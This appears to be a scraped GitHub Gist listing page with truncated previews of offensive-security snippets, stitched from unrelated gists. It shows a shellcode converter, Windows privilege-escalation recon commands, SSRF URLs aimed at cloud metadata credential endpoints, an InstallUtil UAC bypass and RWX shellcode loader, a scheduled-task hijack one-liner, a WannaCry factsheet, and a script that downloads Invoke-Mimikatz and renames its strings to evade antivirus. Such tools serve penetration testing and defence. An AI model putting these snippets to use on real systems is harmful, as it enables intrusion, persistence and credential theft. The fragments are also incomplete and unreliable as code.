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@superkojiman
superkojiman / bin2sc.py
Created Apr 22, 2014
Convert bin to shellcode.
View bin2sc.py
#!/usr/bin/env python
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print "usage: %s file.bin\n" % (sys.argv[0],)
sys.exit(0)
shellcode = "\""
ctr = 1
maxlen = 15
@sckalath
sckalath / windows_privesc
Last active Aug 5, 2022
Windows Privilege Escalation
View windows_privesc
// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
// Get the hostname and username (if available)
hostname
echo %username%
// Get users
net users
net user [username]
@BuffaloWill
BuffaloWill / cloud_metadata.txt
Last active Dec 1, 2022
Cloud Metadata Dictionary useful for SSRF Testing
View cloud_metadata.txt
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@mubix
mubix / infosec_newbie.md
Last active Nov 7, 2022
How to start in Infosec
View infosec_newbie.md
@leoloobeek
leoloobeek / EventVwrBypass.cs
Last active Mar 6, 2021
Event Viewer UAC Bypass in CSharp for use with InstallUtil.exe
View EventVwrBypass.cs
using System;
using System.Linq;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using Microsoft.Win32;
/*
InstallUtil.exe C# version of Event Viewer UAC bypass
@nicholasmckinney
nicholasmckinney / rwxHunter.cs
Created May 8, 2017
Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call
View rwxHunter.cs
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
View Wannacrypt0r-FACTSHEET.md

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

  • Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
  • Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
  • Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
  • Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
  • Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

@mubix
mubix / schtaskmod.ps1
Last active Jul 18, 2019
Modify Scheduled Task
View schtaskmod.ps1
Get-ScheduledTask -TaskName 'XblGameSaveTaskLogon' | % { $_.Actions += New-ScheduledTaskAction -Execute 'calc.exe'; Set-ScheduledTask -TaskPath $_.TaskPath -TaskName $_.TaskName -Action $_.Actions }
@PaulSec
PaulSec / invoke_evasion.sh
Created Aug 1, 2017
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
View invoke_evasion.sh
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1